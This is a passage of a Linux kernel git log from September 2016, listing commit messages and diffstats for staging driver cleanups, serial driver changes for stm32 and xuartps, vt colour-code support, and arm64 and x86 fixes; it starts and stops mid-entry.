Documentation/media/uapi/v4l/vidioc-g-fbuf.rst | 593 +- Documentation/media/uapi/v4l/vidioc-g-fmt.rst | 128 +- .../media/uapi/v4l/vidioc-g-frequency.rst | 74 +- Documentation/media/uapi/v4l/vidioc-g-jpegcomp.rst | 144 +- .../media/uapi/v4l/vidioc-g-modulator.rst | 268 +- Documentation/media/uapi/v4l/vidioc-g-parm.rst | 372 +- Documentation/media/uapi/v4l/vidioc-g-priority.rst | 73 +- .../media/uapi/v4l/vidioc-g-selection.rst | 63 +- .../media/uapi/v4l/vidioc-g-sliced-vbi-cap.rst | 312 +- Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 897 +- Documentation/media/uapi/v4l/vidioc-querycap.rst | 555 +- Documentation/media/uapi/v4l/vidioc-queryctrl.rst | 975 +- Documentation/media/uapi/v4l/vidioc-reqbufs.rst | 54 +- .../media/uapi/v4l/vidioc-s-hw-freq-seek.rst | 132 +- .../uapi/v4l/vidioc-subdev-enum-frame-interval.rst | 94 +- .../uapi/v4l/vidioc-subdev-enum-frame-size.rst | 105 +- .../uapi/v4l/vidioc-subdev-enum-mbus-code.rst | 61 +- .../media/uapi/v4l/vidioc-subdev-g-crop.rst | 48 +- .../media/uapi/v4l/vidioc-subdev-g-fmt.rst | 72 +- .../uapi/v4l/vidioc-subdev-g-frame-interval.rst | 35 +- .../media/uapi/v4l/vidioc-subdev-g-selection.rst | 70 +- .../media/uapi/v4l/vidioc-subscribe-event.rst | 120 +- 112 files changed, 15726 insertions(+), 31353 deletions(-) commit a04c28d0797bb9b8743efe814672dea8e3b91c55 Author: Sandhya Bankar Date: Thu Sep 22 15:27:30 2016 +0530 Staging: speakup: kobjects: Add space around the operator. This issue was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/speakup/kobjects.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit b36df0905ef808a8e9e46ded5f0b4967f21a2114 Author: Hans de Goede Date: Sat Sep 17 12:08:10 2016 +0200 musb: Export musb_root_disconnect for use in modules Export musb_root_disconnect for use in modules, so that musb glue code build as module can use it. This fixes the buildbot errors for -next in arm64-allmodconfig and arm-allmodconfig. Reported-by: kbuild test robot Fixes: 7cba17ec9adc8cf ("musb: sunxi: Add support for platform_set_mode") Signed-off-by: Hans de Goede Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_virthub.c | 1 + 1 file changed, 1 insertion(+) commit 114c9ec2fdcc492543c149fc1d0325ecbbf3d25e Author: Sandhya Bankar Date: Thu Sep 22 15:23:55 2016 +0530 Staging: speakup: varhandlers: Add space around the operator. This patch was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/speakup/varhandlers.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7725066f1b4dd7fe69d85bf2a276f01d048cb967 Author: Rehas Sachdeva Date: Thu Sep 22 00:06:51 2016 +0530 staging: slicoss: Move NULL test closer to assignment Move the test to check if a variable is NULL, to right after it is being assigned, rather than some statements later. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slicoss.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7d359a847cf65cafa3582ee0c52f68e629fe0547 Author: sayli karnik Date: Wed Sep 21 23:47:55 2016 +0530 staging: ks7010: Remove unnecessary variable used to store return value This patch removes an unnecessary variable used to store return values in order to reduce memory usage. Done using coccinelle: @@ type T; constant C; identifier ret; @@ - T ret = C; ... when != ret return - ret + C ; Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit efb35d12b352c0603fe21a2199ba54aa61d22a54 Author: Rehas Sachdeva Date: Wed Sep 21 23:38:00 2016 +0530 staging: octeon-usb: Remove unnecessary assignment Remove 'x=a;' from a consecutive double assignment of the form 'x=a; x=b;'. Issue detected by the semantic patch found here: https://github.com/coccinelle/coccinellery/blob/master/write2/write2.cocci Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon-usb/octeon-hcd.c | 1 - 1 file changed, 1 deletion(-) commit 63e6464b62353988ef71fa28946fa9c5560d6469 Author: Yannis Damigos Date: Wed Sep 21 20:24:54 2016 +0300 Staging:rtl8188eu: Fix multiple blank lines This patch fixes multiple black lines issue found by checkpatch.pl Signed-off-by: Yannis Damigos Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_rf.c | 1 - 1 file changed, 1 deletion(-) commit 837b65555359b8232f54211317a2da28303d9c5a Author: Rehas Sachdeva Date: Tue Sep 20 18:41:18 2016 +0530 staging: sm750fb: Remove unnecessary parentheses Remove unnecessary parentheses from right side of an assignment. Issue detected by the following Coccinelle semantic patch: @r@ identifier x; expression e1, e2; @@ - x = (e1 << e2); + x = e1 << e2; Signed-off-by: Rehas Sachdeva Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/sm750_hw.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f3151e0043099bed805cecb7f363331e8c0a0449 Author: Rehas Sachdeva Date: Tue Sep 20 17:36:29 2016 +0530 staging: sm750fb: Use BIT(x) macro Replaces left shift operation (1 << d) by BIT(x) macro. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_chip.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cf5d32736722a1abf00c432241a5477c09cd4db2 Author: Rehas Sachdeva Date: Tue Sep 20 19:40:14 2016 +0530 staging: xgifb: Remove unused variable and if statement Setting the variable 'refresh_rate = 60;' has no use to the rest of the function. Hence the if statement setting it and the variable itself can be removed. This was detected using the following Coccinelle semantic patch: @@ type T; identifier i; constant C; @@ ( extern T i; | - T i; <+... when != i - i = C; ...+> ) Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/xgifb/XGI_main_26.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 3adc4aae0e597a7cdcb9ed3f99d0933bf9a4aaa6 Author: Katie Dunne Date: Wed Sep 21 15:13:20 2016 -0700 staging: speakup: Remove unnecessary parentheses Issue found by checkpatch. Signed-off-by: Katie Dunne Signed-off-by: Greg Kroah-Hartman drivers/staging/speakup/synth.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8d904fe50e3c5bfd8204cf1b8d525baeb3738bba Author: David Lin Date: Wed Sep 21 18:57:23 2016 -0700 staging: greybus: add maintainer for uart and log protocol drivers Add myself as greybus uart and log protocol driver maintainer. Signed-off-by: David Lin Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 6 ++++++ 1 file changed, 6 insertions(+) commit 319b78c3c4842a6f079bca8950248803fa67b38f Author: Chaehyun Lim Date: Thu Sep 22 10:56:44 2016 +0900 staging: greybus: uart.c: fix alignment to match open parenthesis Fixes checkpatch.pl warning: CHECK: Alignment should match open parenthesis Signed-off-by: Chaehyun Lim Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) commit 26746a360394158850c494dd89d9d4f2d276b032 Author: Chaehyun Lim Date: Thu Sep 22 10:56:43 2016 +0900 staging: greybus: uart.c: change 'unsigned' to 'unsigned int' Fixes checkpatch.pl warning: WARNING: Prefer 'unsigned int' to bare use of 'unsigned' Signed-off-by: Chaehyun Lim Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 33111574550b210f4841591a3938283ffdf91d01 Author: Richard Groux Date: Wed Sep 21 19:05:31 2016 +0200 staging: greybus: audio_codec.c: code indent should use tabs where possible Minor error spotted by checkpatch.pl in greybus code indent should use tabs where possible Signed-off-by: Richard Groux Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0c8d9c73e6c99efdd5f76e5cbfb90e553130e729 Author: Richard Groux Date: Wed Sep 21 19:05:29 2016 +0200 staging: greybus: audio_codec.c: space required before the open brace Minor error spotted by checkpatch.pl in greybus space required before the open brace '{' Signed-off-by: Richard Groux Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5a420d15d15b0eb46672578baa268675c63962f7 Author: Eva Rachel Retuya Date: Wed Sep 21 13:07:04 2016 +0800 staging: greybus: arche-platform: compress return logic into one line Modify return statement to use the value being returned directly instead of assigning it first to 'ret' and returning this variable. Coccinelle semantic patch used: @@ expression e; local idexpression ret; @@ -ret = +return e; -return ret; Signed-off-by: Eva Rachel Retuya Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 4f1cbe2a7b4fa50e5ae09e0a564c9dc4101b02fd Author: Eva Rachel Retuya Date: Wed Sep 21 13:03:24 2016 +0800 staging: greybus: audio: delete unnecessary parentheses Eliminate unneeded parentheses around the right hand side of an assignment. Coccinelle semantic patch used: @@ expression e1, e2; identifier v; @@ ( v = (e1 == e2) | v = (e1 != e2) | v = (e1 <= e2) | v = (e1 >= e2) | v = - ( e1 - ) ) Signed-off-by: Eva Rachel Retuya Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_topology.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ce35e9be62837d8242472264b511f9c27992adfa Author: Eva Rachel Retuya Date: Wed Sep 21 12:59:29 2016 +0800 staging: greybus: camera: simplify NULL test Replace direct comparisons to NULL i.e. 'x == NULL' with '!x' for consistency. Coccinelle semantic patch used: @@ identifier func; expression x; statement Z; @@ x = func(...); if ( ( + ! x - == NULL | + ! - NULL == x ) ) Z Signed-off-by: Eva Rachel Retuya Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0540609fe217c3eed5804bcc095b0c41db5e63b0 Author: Andrey Shvetsov Date: Wed Sep 21 14:49:10 2016 +0200 staging: most: replace MOST_CH_ISOC_AVP with MOST_CH_ISOC This patch replaces the enum value MOST_CH_ISOC_AVP with the more appropriate MOST_CH_ISOC. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-v4l2/video.c | 2 +- drivers/staging/most/hdm-dim2/dim2_hdm.c | 4 ++-- drivers/staging/most/hdm-usb/hdm_usb.c | 8 ++++---- drivers/staging/most/mostcore/core.c | 6 +++--- drivers/staging/most/mostcore/mostcore.h | 2 +- 5 files changed, 11 insertions(+), 11 deletions(-) commit 95f73013ed021ef30e787772ecf547c1355c4299 Author: Christian Gromm Date: Wed Sep 21 14:49:09 2016 +0200 staging: most: clean up configuration strings This patch adds the strings 'rx', 'tx' and 'isoc' to the list of accepted identifiers when setting up a channel configuration. To keep consistency it removes the prefix "dir_" from strings returned by the attributes set_direction and available_directions and it removes the suffix "_avp" from the string "isoc_avp" returned by the attributes set_datatype and available_datatypes. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-v4l2/video.c | 2 +- drivers/staging/most/mostcore/core.c | 21 ++++++++++++++------- 2 files changed, 15 insertions(+), 8 deletions(-) commit 22ff195b5a42a6935f624bcb995b6d051ee68872 Author: Andrey Shvetsov Date: Wed Sep 21 14:49:08 2016 +0200 staging: most: core: remove trailing zero from text property This patch removes trailing zeros from the strings returned by the attributes available_datatypes and available_directions. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/mostcore/core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a6f9d846cc0980ef85ba9a2c863cef2f6202ac83 Author: Christian Gromm Date: Wed Sep 21 14:49:05 2016 +0200 staging: most: make function most_submit_mbo return void Function most_submit_mbo() causes an exception only if either the pointer mbo or mbo->context equals NULL. From the underlying architecture's point of view both cases must _not_ come true and would happen only, if something has tampered with the pointers. This would render runtime code unable to recover anyway. So, instead trying to hide that things are already critically out of control we're better off with a WARN_ON() assertion. This patch replaces the return type of the function most_submit_mbo() with 'void' and adds a WARN_ONCE() assertion. Additionally, code calling the function is adapted accordingly. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-cdev/cdev.c | 5 +---- drivers/staging/most/aim-sound/sound.c | 6 +----- drivers/staging/most/mostcore/core.c | 11 ++++------- drivers/staging/most/mostcore/mostcore.h | 2 +- 4 files changed, 7 insertions(+), 17 deletions(-) commit 95842bc9fd03e51e4fa370c40542e2306d079699 Author: Juliana Rodrigues Date: Thu Sep 22 00:24:40 2016 -0300 staging: wlan-ng: fixed block comment formatting This patch fixes a checkpatch warning in a block comment by adapting it to the community preferred coding style. Signed-off-by: Juliana Rodrigues Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 98090a0ba794a96f0bc6703afe16b60b1baa396b Author: Juliana Rodrigues Date: Thu Sep 22 02:49:50 2016 -0300 staging: wlan-ng: fixed alignment not matching This patch fixes a checkpatch warning by moving arguments to the right and aligning them to their open parenthesis. Signed-off-by: Juliana Rodrigues Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/cfg80211.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 72d19e9899a9666c46fd0936dd694291bc5e78b9 Author: Juliana Rodrigues Date: Thu Sep 22 02:50:56 2016 -0300 staging: wlan-ng: fixed parenthesis alignment This patch fixes a checkpatch warning by moving arguments to the right and aligning them to the open parenthesis above. Signed-off-by: Juliana Rodrigues Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/cfg80211.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5f0730fda824e4a708d5f307e806b0176f86dcd3 Author: Juliana Rodrigues Date: Thu Sep 22 03:01:28 2016 -0300 staging: wlan-ng: fixed block comment trailing Moved trailing */ to a new line and added * to subsequent lines on a block comment. Signed-off-by: Juliana Rodrigues Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit c19584882a435bbe41fa555620c7261ba9155ae2 Author: Laurent Pinchart Date: Wed Sep 21 05:13:08 2016 -0300 [media] v4l: doc: Prepare for table reorganization Fix a few indentation issues to enable automated table reorganization by a regex-based script. Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-enumstd.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-dv-timings.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 10 +++++----- 3 files changed, 7 insertions(+), 7 deletions(-) commit a3081893cab48df3facff8144d9506610213241a Author: Anirudha Sarangi Date: Wed Sep 21 15:01:18 2016 +0100 serial: xuartps: Do not enable parity error interrupt The patch makes changes not to enable parity error interrupt. With the current implementation, each parity error results in two distinct interrupts (almost always). The first one is normal parity error interrupt with no data in the fifo and the second one is a proper Rx interrupt with the received data in the fifo. By disabling parity error interrupt we still ensure handling of parity errors as for the Rx fifo interrupt the parity error still shows up in the interrupt status register. Considering the fact that the by default INPCK and IGNPAR are not set, this is the optimal implementation for parity error handling. Signed-off-by: Anirudha Sarangi Signed-off-by: Michal Simek [stelford@cadence.com: cherry picked from https://github.com/Xilinx/linux-xlnx commit bf9f610b445e2c9ed33c41e1e0e30b43be4e1f97 with manual conflict resolution] Signed-off-by: Scott Telford Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/xilinx_uartps.c | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) commit 87f1f809c9b90903e6a9ee0a8356a2303fd4270d Author: Alexandre TORGUE Date: Thu Sep 15 18:42:42 2016 +0200 serial: stm32: fix uart enable management Signed-off-by: Gerald Baeza Signed-off-by: Alexandre TORGUE Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/stm32-usart.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 01d32d71610b0c56ce2c56bec370e275607a96e7 Author: Alexandre TORGUE Date: Thu Sep 15 18:42:41 2016 +0200 serial: stm32: fix spin_lock management Signed-off-by: Gerald Baeza Signed-off-by: Alexandre TORGUE Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/stm32-usart.c | 4 ++++ 1 file changed, 4 insertions(+) commit 3489187204eb75e5635d8836babfd0a18be613f4 Author: Alexandre TORGUE Date: Thu Sep 15 18:42:40 2016 +0200 serial: stm32: adding dma support This patch adds dma mode support for rx and tx with pio mode as fallback in case of dma error. Signed-off-by: Gerald Baeza Signed-off-by: Alexandre TORGUE Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/stm32-usart.c | 389 ++++++++++++++++++++++++++++++++++++--- drivers/tty/serial/stm32-usart.h | 14 ++ 2 files changed, 378 insertions(+), 25 deletions(-) commit 3fa047fde43c1a100985751638d0d19b50913ff1 Author: Alexandre TORGUE Date: Thu Sep 15 18:42:39 2016 +0200 dt-bindings: Add DMA bindings for STM32 USART Signed-off-by: Gerald Baeza Signed-off-by: Alexandre TORGUE Signed-off-by: Greg Kroah-Hartman Documentation/devicetree/bindings/serial/st,stm32-usart.txt | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 511c7b1baa8ae86dbcf83b8f489d39ff4b64a123 Author: Alexandre TORGUE Date: Thu Sep 15 18:42:38 2016 +0200 serial: stm32: clock disabling management Keep the clock enabled at the end of stm32_init_port but disable it in stm32_serial_remove. Note that stm32_pm function is there to manage the clock at runtime. Signed-off-by: Gerald Baeza Signed-off-by: Alexandre TORGUE Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/stm32-usart.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 59bed2dfe03e9e572bfb5a2d29effc1791eedcbc Author: Alexandre TORGUE Date: Thu Sep 15 18:42:37 2016 +0200 serial: stm32: correct flow control property spelling "st,hw-flow-ctrl" property is documented in device tree binding whereas "auto-flow-control" was used in the code. The driver is now aligned with the binding name "st,hw-flow-ctrl". Signed-off-by: Gerald Baeza Signed-off-by: Alexandre TORGUE Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/stm32-usart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a14f66a427f8c960ca9cf1048f1bbf7607f85809 Author: Alexandre TORGUE Date: Thu Sep 15 18:42:36 2016 +0200 serial: stm32: disable tx and rx during shutdown Signed-off-by: Gerald Baeza Signed-off-by: Alexandre TORGUE Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/stm32-usart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bc5a0b55ba944cfe847cc2210609c44ff9dccd06 Author: Alexandre TORGUE Date: Thu Sep 15 18:42:35 2016 +0200 serial: stm32: header file creation Signed-off-by: Gerald Baeza Signed-off-by: Alexandre TORGUE Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/stm32-usart.c | 209 +------------------------------------ drivers/tty/serial/stm32-usart.h | 215 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 216 insertions(+), 208 deletions(-) commit 1ff0727a04b21da2affce27d50a2d2d8d615f008 Author: Alexandre TORGUE Date: Thu Sep 15 18:42:34 2016 +0200 DOCUMENTATION: dt-bindings: Document the STM32 USART bindings This adds documentation of device tree bindings for the STM32 USART Signed-off-by: Maxime Coquelin Signed-off-by: Alexandre TORGUE Signed-off-by: Greg Kroah-Hartman .../devicetree/bindings/serial/st,stm32-usart.txt | 34 ++++++++++++++++++++++ 1 file changed, 34 insertions(+) commit ada8618ff3bfe183cc2c1ae34239a5168ba34411 Author: Alexandre TORGUE Date: Thu Sep 15 18:42:33 2016 +0200 serial: stm32: adding support for stm32f7 Register offset management rework to support both stm32f4 (default) and stm32f7. Driver rework to ensure same functional level on both stm32f4 and stm32f7: no new feature in this version yet. Signed-off-by: Gerald Baeza Signed-off-by: Alexandre TORGUE Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/stm32-usart.c | 269 +++++++++++++++++++++++++++++++-------- 1 file changed, 219 insertions(+), 50 deletions(-) commit 27b17ae0732a607532e58b3d52b0b636d82269da Author: Nava kishore Manne Date: Thu Sep 15 14:45:31 2016 +0530 tty: serial: xuartps: Wait for rx and tx reset done status After issuing the reset, driver is not checking the rx and tx reset done status. So, modified driver to wait for the reset done status. Signed-off-by: Nava kishore Manne Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/xilinx_uartps.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 3816b2f886d0918d8a8ae593b2db203ab905a889 Author: Nava kishore Manne Date: Thu Sep 15 14:45:29 2016 +0530 serial: xuartps: Adds RXBS register support for zynqmp This patch adds RXBS register access support for zynqmp. To avoid the corner error conditions it will consider only RXBS[2:0] bits while checking the error conditions (Parity,Framing and BRAK). Signed-off-by: Nava kishore Manne Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/xilinx_uartps.c | 101 +++++++++++++++++++++++++++++-------- 1 file changed, 81 insertions(+), 20 deletions(-) commit 54f19b4a679149130f78413c421a5780e90a9d0a Author: Jiri Olsa Date: Wed Sep 21 16:43:15 2016 +0200 tty/serial/8250: Touch NMI watchdog in wait_for_xmitr First loop in wait_for_xmitr could also trigger NMI watchdog in case reading from the port is slow: PID: 0 TASK: ffffffff819c1460 CPU: 0 COMMAND: "swapper/0" #0 [ffff88019f405e58] crash_nmi_callback at ffffffff8104d382 #1 [ffff88019f405e68] nmi_handle at ffffffff8168ead9 #2 [ffff88019f405eb0] do_nmi at ffffffff8168ec53 #3 [ffff88019f405ef0] end_repeat_nmi at ffffffff8168df13 [exception RIP: delay_tsc+50] RIP: ffffffff81325642 RSP: ffff88019f403bb0 RFLAGS: 00000083 RAX: 00000000000005c8 RBX: ffffffff81f83000 RCX: 0000024e4fb88a8b RDX: 0000024e4fb89053 RSI: 0000000000000000 RDI: 00000000000007d1 RBP: ffff88019f403bb0 R8: 000000000000000a R9: 0000000000000000 R10: 0000000000000000 R11: ffff88019f403ad6 R12: 000000000000250f R13: 0000000000000020 R14: ffffffff81d360c7 R15: 0000000000000047 ORIG_RAX: ffffffffffffffff CS: 0010 SS: 0018 --- --- #4 [ffff88019f403bb0] delay_tsc at ffffffff81325642 #5 [ffff88019f403bb8] __const_udelay at ffffffff813255a8 #6 [ffff88019f403bc8] wait_for_xmitr at ffffffff81404390 #7 [ffff88019f403bf0] serial8250_console_putchar at ffffffff8140455c #8 [ffff88019f403c10] uart_console_write at ffffffff813ff00a #9 [ffff88019f403c40] serial8250_console_write at ffffffff814044ae #10 [ffff88019f403c88] call_console_drivers.constprop.15 at ffffffff81086b01 #11 [ffff88019f403cb0] console_unlock at ffffffff8108842f #12 [ffff88019f403ce8] vprintk_emit at ffffffff81088834 #13 [ffff88019f403d58] vprintk_default at ffffffff81088ba9 #14 [ffff88019f403d68] printk at ffffffff8167f034 Adding touch_nmi_watchdog call to the first loop as well. Reported-by: Chunyu Hu Signed-off-by: Jiri Olsa Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_port.c | 1 + 1 file changed, 1 insertion(+) commit b6fce7382d72274336aeafe6e44da755a371ed32 Author: Jan Kiszka Date: Mon Sep 19 06:56:59 2016 +0200 serial: 8250_pci: Use symbolic constants for EXAR's MPIO registers Less magic that only requires comments. Signed-off-by: Jan Kiszka Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_pci.c | 55 +++++++++++++++++++++++--------------- 1 file changed, 34 insertions(+), 21 deletions(-) commit e06690bff6ab642e0ab1b22e5bec532f6faf2f5d Author: Shawn Guo Date: Sat Sep 17 14:14:38 2016 +0800 tty: amba-pl011: uart_amba_port is not available with earlycon function Commit 0e125a5facf8 ("tty: amba-pl011: define flag register bits for ZTE device") changes earlycon function pl011_putc() to use a pointer to uart_amba_port. This causes a regression when earlycon is enabled, because uart_amba_port is not available yet at earlycon time. Let's revert the change on pl011_putc() to fix the regression. The earlycon support for ZTE device can probably be added later by declaring a new earlycon setup function with a vendor specific compatible. Reported-by: Sudeep Holla Fixes: 0e125a5facf8 ("tty: amba-pl011: define flag register bits for ZTE device") Signed-off-by: Shawn Guo Tested-by: Sudeep Holla Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/amba-pl011.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 1664bc40d31403a755fe88307410ed858fe2c6c9 Author: Wei Yongjun Date: Sat Sep 17 01:13:46 2016 +0000 serial: mxs-auart: Fix missing clk_disable_unprepare() on error in mxs_get_clks() Commit 5d7519dfc963 ("serial: mxs-auart: Disable clock on error path") try to disable clock on error path, but still missing the clk_set_rate() error handling path. Signed-off-by: Wei Yongjun Reviewed-by: Fabio Estevam Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/mxs-auart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fadb4244085cd04fd9c8b3a4b3bc161f506431f3 Author: Adam Borowski Date: Thu Sep 15 16:47:13 2016 +0200 vt: Emulate \e[100-107m (bright background colors). For now, these fall back to regular (dark) colors. It'd be tempting to replace blink with bright backgrounds, as permitted by CGA/VGA -- we already muck with the other programmable bit (foreground brightness vs 512 character font). This would bring vgacon in line with fbcon, which doesn't support blink anywhere but on some drivers renders that bit as bright background. If that is done, this commit should be amended to be one of ways of setting that bit. Signed-off-by: Adam Borowski Signed-off-by: Greg Kroah-Hartman drivers/tty/vt/vt.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit cc67dc28b33917227214a692534d817d727fb934 Author: Adam Borowski Date: Thu Sep 15 16:47:12 2016 +0200 vt: Support \e[90-97m (bright foreground colors). These codes are supported by all major terminals, thus they occasionally see some use despite being redundant with \e[38;5;(x+8)m or (less exactly) \e[1;3(x)m. Signed-off-by: Adam Borowski Signed-off-by: Greg Kroah-Hartman drivers/tty/vt/vt.c | 4 ++++ 1 file changed, 4 insertions(+) commit 3e7ec4a0e635d7b95c5ec30df3ed79164bbf3acb Author: Adam Borowski Date: Thu Sep 15 16:47:11 2016 +0200 vt: Drop a no longer true comment. Some guy went on a patching spree, adding 24-bit colour support all around: https://gist.github.com/XVilka/8346728 Signed-off-by: Adam Borowski Signed-off-by: Greg Kroah-Hartman drivers/tty/vt/vt.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0bf1f4a8a399d2c8c0396b8cc0439f8d6ca3581b Author: Adam Borowski Date: Thu Sep 15 16:47:10 2016 +0200 vt: Make a comparison <= for readability. All other uses of vc_npar are inclusive (save for < NPAR) which raises eyebrows, so let's at least do so consistently. Signed-off-by: Adam Borowski Signed-off-by: Greg Kroah-Hartman drivers/tty/vt/vt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 669e0a51b1b50052b1615683cde64e1c28ae895f Author: Adam Borowski Date: Thu Sep 15 16:47:09 2016 +0200 vt: Fix a read-past-array in vc_t416_color(). This makes it show up on UBSAN: perl -e 'for (0..15) {my @x=("0")x$_;push @x,qw(38 2 64 128 192 4);printf "\e[%smAfter %d zeroes.\e[0m\n", join(";",@x[0..($_+5<15?$_+5:15)]), $_}' Seems harmless: if you can programmatically read attributes of a vt character (/dev/vcsa*), multiple probes can obtain parts of vt_mode then lowest byte (5th on 64-bit big-endian) of a pointer. Signed-off-by: Adam Borowski Signed-off-by: Greg Kroah-Hartman drivers/tty/vt/vt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ca219452c6b8a6cd1369b6a78b1cf069d0386865 Author: Laura Abbott Date: Wed Sep 21 15:25:04 2016 -0700 arm64: Correctly bounds check virt_addr_valid virt_addr_valid is supposed to return true if and only if virt_to_page returns a valid page structure. The current macro does math on whatever address is given and passes that to pfn_valid to verify. vmalloc and module addresses can happen to generate a pfn that 'happens' to be valid. Fix this by only performing the pfn_valid check on addresses that have the potential to be valid. Acked-by: Mark Rutland Signed-off-by: Laura Abbott Signed-off-by: Will Deacon arch/arm64/include/asm/memory.h | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 4f059d514f7119a4fdd9934189ff31f2c26b2647 Author: Andrew Banman Date: Wed Sep 21 11:09:21 2016 -0500 x86/platform/uv/BAU: Add UV4-specific functions Add the UV4-specific function definitions and define an operations struct to implement them in the BAU driver. Many BAU MMRs, although functionally the same, have new addresses on UV4 due to hardware changes. Each MMR requires new read/write functions, but their implementation in the driver does not change. Thus, it is enough to enumerate them in the operations struct for the changes to take effect. Signed-off-by: Andrew Banman Acked-by: Thomas Gleixner Acked-by: Mike Travis Acked-by: Dimitri Sivanich Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Peter Zijlstra Cc: akpm@linux-foundation.org Cc: rja@sgi.com Link: http://lkml.kernel.org/r/1474474161-265604-11-git-send-email-abanman@sgi.com Signed-off-by: Ingo Molnar arch/x86/include/asm/uv/uv_bau.h | 30 ++++++++++++++++++++++++++++++ arch/x86/platform/uv/tlb_uv.c | 15 ++++++++++++++- 2 files changed, 44 insertions(+), 1 deletion(-) commit 6d78059bbc0ace5461938aaea8cda95eb6719898 Author: Andrew Banman Date: Wed Sep 21 11:09:20 2016 -0500 x86/platform/uv/BAU: Fix payload queue setup on UV4 hardware The BAU on UV4 does not need to maintain the payload queue tail pointer. Do not initialize the tail pointer MMR on UV4. Note that 